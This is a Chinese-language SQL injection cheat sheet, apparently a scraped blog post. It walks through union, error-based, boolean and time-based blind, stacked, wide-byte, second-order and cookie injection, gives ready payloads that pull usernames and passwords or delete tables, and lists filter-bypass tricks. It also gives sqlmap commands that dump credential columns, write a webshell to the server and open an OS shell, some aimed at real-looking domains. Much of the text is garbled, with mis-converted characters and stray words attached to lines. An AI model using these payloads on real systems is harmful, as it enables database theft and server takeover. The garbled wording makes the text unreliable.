select * from 表名 where id=1
。组合出来的sql注入语句为:select * from news where id=1 and 1=1select * from 表名 where name='admin'
。注意多了引号。组合出来的sql注入语句为:select * from news where chr='admin' and 1=1 ' '这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,通常在连接地址中有“keyword=关键字”,有的不显示在的连接地址里面,而是直接经过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大体为:select * from 表名 where 字段 like '%关键字%'
。组合出来的sql注入语句为:select * from news where search like '%测试 %' and '%1%'='%1%'。测试%' union select 1,2,3,4 and '%'='。php
http://xxx.com/news.php?id=1
, id 是注入点。1.判断注入点python
2.判断注入点类型mysql
3.判断查询列数web
order by 函数是对MySQL中查询结果按照指定字段名进行排序,除了指定字 段名还能够指定字段的栏位进行排序,第一个查询字段为1,第二个为2,依次类推。咱们能够经过二分法来猜解列数。输入 order by 4 # 发现页面错误,说明没有4列;输入3列时,页面正常,说明有3列。正则表达式
4.判断显示位sql
?id=-1' union select 1,2,3--+shell
UNION的做用是将两个select查询结果合并。数据库
5.获取数据库名后端
?id=-1' union select 1,2,database()--+ 查看当前数据库
?id=-1' union select 1,2,schema_name from information_schema.schemata limit 0,1--+ 查看数据库 ;
?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata--+ 查看全部的数据库;浏览器
6.获取表名
?id=-1' unionselect1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1--+ 查表;
?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+查看全部的表;
7.获列名
?id=-1' union select 1,2,column_name from information_schema.columns where table_name=0x7573657273--+ 查询字段信息;
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+查看全部的字段信息;
8.获取列中的信息
?id=-1‘ union select 1,2,concat_ws(’~‘,username,password) from security.users limit 1,1--+ 查询一个信息;
?id=-1’ union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+ 查询全部信息。
报错注入在无法用union联合查询时用,但前提仍是不能过滤一些关键的函数。报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果可以出如今错误信息中。
id=1‘ and updatexml(1,concat(0x7e,(database())),1) or ’1‘=‘1 报错出数据库;
id=1‘ and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),1) or ’1‘=‘1 查询全部的数据库,使用limit进行逐个查询。
经常使用的报错语句模板:
1. 经过floor报错
and (select 1 from (select count(*),concat(( payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句
须要注意的是该语句将 输出字符长度限制为64个字符
2. 经过updatexml报错
and updatexml(1, payload,1)
一样该语句对输出的字符长度也作了限制,其最长输出32位
而且该语句对payload的反悔类型也作了限制,只有在payload返回的不是xml格式才会生效
3. 经过ExtractValue报错
and extractvalue(1, payload)
输出字符有长度限制,最长32位。
盲注与其余注入有所不一样,普通注入查询正确会返回结果。而在盲注的sql查询中,服务器只会返回是,不是两种回答,所以就给咱们的注入带来了麻烦,手工盲注的工做量是普通注入的几十倍之多,通常来讲咱们采用自动化注入工具,如sqlmap来实现。
id=1‘ and ascii(substr((select database()),1,1)) > 16--+
id=1‘ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >17 --+先经过大于号或者小于号来判断数据库的第一个字母是哪个;
id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1)) = 115--+此时能够验证数据库中第五个数据库的第一个字母是s
id=1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1,1)) >11 --+判断security数据库中的第4个表中的数据的第一位是否大于11;
id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1,1)) =117 --+验证数据库中第4个表中的数据的第一位的第一个字母的ascii码是不是117,也就是 u。
Timing Attack注入,也就是时间盲注。经过简单的条件语句好比 and 1=2 是没法看出异常的。
在MySQL中,有一个Benchmark() 函数,它是用于测试性能的。Benchmark(count,expr) ,这个函数执行的结果,是将表达式 expr 执行 count 次 。所以,利用benchmark函数,可让同一个函数执行若干次,使得结果返回的时间比平时要长,经过时间长短的变化,能够判断注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Timing Attack,也就是时间盲注。
利用前提:页面上没有显示位,也没有输出 SQL 语句执行错误信息。正确的 SQL 语句和错误的 SQL 语句返回页面都同样,可是加入 sleep(5)条件以后,页面的返回速度明显慢了 5 秒。
http://127.0.0.1/sqli/Less-1/?id=1' and sleep(5) --+//判断是否存在延时注入
id=1‘ and sleep(5)--+ 使用延迟的方法判断是否存在注入漏洞;
id=1‘ and if(length(database()) = 8,1,sleep(5))--+当为8的时候很快加载,而为其余值得时候加载较慢(5s左右),那就说明此时数据库的长度就是8(security);
id=1' and if(ascii(substr((select database()),1,1)) >113,1,sleep(5))--+若是当前数据库的第一个字母的ascii值大于113的时候,会马上返回结果,不然执行5s;
id=1‘ and if(ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))>112,1,sleep(5))--+同理判断数据库中的第5个数据库的第一位的ascii的值是否是大于112(实际中是115),若是是的则速度返回,不然延时5s返回结果;
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下咱们在 ; 结束一个sql语句后继续构造下一条语句,会不会一块儿执行?所以这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一块儿,二者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,能够用来执行查询语句,而堆叠注入能够执行的是任意的语句。例如如下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
宽字节注入是因为不一样编码中中英文所占字符的不一样所致使的。一般来讲,在GBK编码当中,一个汉字占用2个字节。而在UTF-8编码中,一个汉字占用3个字节。在php中,咱们能够经过输入 echo strlen("中") 来测试,当为GBK编码时,输入2,而为UTF-8编码时,输出3。除了GBK之外,全部的ANSI编码都是中文都是占用两个字节。
空格 :%20
单引号: %27
#: %23
\ :%5C
ASCII 编码:单字节编码
latin1 编码:单字节编码
gbk 编码:一个字符占1个字节**,两个字节以上叫宽字节**,设置“set character_set_client=gbk”(gbk编码设置),一般致使编码转换的注入问题,尤为是使用php 链接mysql数据库的时候,一个gbk汉字占两个字节,取值范围是(编码位数):第一个字节是(129-254),第二个字节(64-254),当设置gbk编码后,遇到连续两个字节,都符合gbk取值范围,会自动解析为一个汉字
UTF-8 编码:使用一至四字节编码, 0x00–0x7F 范围内是一位,和 ASCII 保持一致。其它字符用二至四个字节变长表示。 因为ASCII表示的字符只有128个,所以网络世界的规范是使用UNICODE编码,可是用ASCII表示的字符使用UNICODE并不高效。所以出现了中间格式字符集,被称为通用转换格式,及UTF(UniversalTransformation Format)。
二次注入漏洞是一种在Web应用程序中普遍存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,可是它却具备与一次注入攻击漏洞相同的攻击威力。
一、黑客经过构造数据的形式,在浏览器或者其余软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。
二、服务端应用程序会将黑客提交的数据信息进行存储,一般是保存在数据库中,保存的数据信息的主要做用是为应用程序执行其余功能提供原始输入数据并对客户端请求作出响应。
三、黑客向服务端发送第二个与第一次不相同的请求数据信息。
四、服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而致使黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。
五、服务端返回执行的处理结果数据信息,黑客能够经过返回的结果数据信息判断二次注入漏洞利用是否成功
注入字段在cookie数据中
1.判断字段数
order by
2.union select 联合查询,获取表名
0‘ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database() --+
3. union select 联合查询,获取列名
0' union select 1, group_concat(column_name),3 from information_schema.columns where table_name = 'uisers' --+
4. union select 联合查询,获取字段值
0' union select 1, group_concat(username,0x3a,password),3 from users --+
例如:select column_name from information_schema.columns where table_name='users'
如引号被过滤,就能够尝试使用十六进制来进行绕过
便可以将语句写为:select column_name from information_schema.columns where table_name=0x7573657273;
select column_name from information_schema.columns where table_schema=database();
查询所在数据库中的全部列名,猜想哪些字段在哪一个表中,
select username,password from users;
在使用盲注的时候,须要使用到substr(),mid(),limit,这些子句方法都须要使用到逗号
1.对于substr()和mid()这两个方法可使用from的方式来解决:
select substr(database() from 1 for 1);
2.使用join
union select 1,2 可使用下面的句子代替
union select * from (select 1)a join (select 2)b
3.使用like
select ascii(mid(user(),1,1))=80 可使用下面的句子代替
select user() like 'r%'
4.limit中,使用offset绕过
limit 1offset0
and = &&
or=||
xor=|
not=!
an/**/d
id=1' union select 1,2,3 or '1'='1
或者:id=1' union select 1,2,'3
or 1'
and '1'='1
!<>
,<>是不等于hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
数字型注入点
http://host/test.php?id=100 and 1=1 返回成功
http://host/test.php?id=100 and 1=2 返回失败
字符型注入点
http://host/test.php?name=man' and '1'='1 返回成功
http://host/test.php?name=man' and '1'='2返回失败
搜索型注入点
http://host//test.php?keyword=python%' and 1=1 and '%'='
http://host//test.php?keyword=python%' and 1=2 and '%'='
在mysql以上的版本中,为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息,其中具备表schema(数据库名)、tables(表名)、columns(列名或字段名)
在schama表中, schema_name 字段用来存储数据库名
在tables表中, table_schema和table_name 分别用来存储数据库名和表名
在columns表中, tables_schema(数据库名)、table_name(表名)、column_name(列名或字段名)
insert into table_name(列名1,列名2) values (值1,值2)
update 表名字 set 列名称 = 新值 where 列名称 = 旧值
delete from 表名 where 列名称 = 值
user() 查看当前Mysql登陆用户名
database() 查看当前使用Mysql数据库名
version() 查看当前Mysql版本
limit 关键字 limit m n 从m行开始,向下n个结束
sqlmap支持五种不一样的注入模式:
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
sqlmap -u “http://www.vuln.cn/post.php?id=1”
默认使用level1检测所有数据库类型
sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3
指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)
当注入页面错误的时候,自动跳转到另外一个页面的时候须要跟随302,
当注入错误的时候,先报错再跳转的时候,不须要跟随302。
目的就是:要追踪到错误信息。
当程序有防get注入的时候,可使用cookie注入
sqlmap -u “http://www.baidu.com/shownews.asp” –cookie “id=11” –level 2(只有level达到2才会检测cookie)
可使用burpsuite或者temperdata等工具来抓取post包
sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username参数
sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 –dbs
查询有哪些数据库
sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test –tables
查询test数据库中有哪些表
sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin –columns
查询test数据库中admin表有哪些字段
sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin -C “username,password” –dump
dump出字段username与password中的数据
其余命令参考下面
sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password
在dedecms数据库中搜索字段admin或者password。
首先找须要网站的物理路径,其次须要有可写或可读权限。
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
#示例:
sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”
使用shell命令:
sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell
接下来指定网站可写目录:
“E:\php\htdocs\dvwa”
#注:mysql不支持列目录,仅支持读取单个文件。sqlserver能够列目录,不能读写文件,但须要一个(xp_dirtree函数)
——————————————————————————————————
sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” 保存进度
sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” –resume 恢复已保存进度
如下至少须要设置其中一个选项,设置目标URL。
这些选项能够用来指定如何链接到目标URL。
这些选项能够用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还能够运行
您本身的SQL语句。
这些选项可用于优化SqlMap的性能。
这些选项能够用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。
这些选项能够用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。
这些选项可用于调整具体的SQL注入测试。
这些选项能够被用来运行蛮力检查。
User-defined function injection(用户自定义函数注入):
这些选项能够用来建立用户自定义函数。
–udf-inject 注入用户自定义函数
–shared-lib=SHLIB 共享库的本地路径
这些选项能够被用来访问后端数据库管理系统的底层文件系统。
这些选项能够用于访问后端数据库管理系统的底层操做系统。
这些选项能够被用来访问后端数据库管理系统Windows注册表。
这些选项能够用来设置一些通常的工做参数。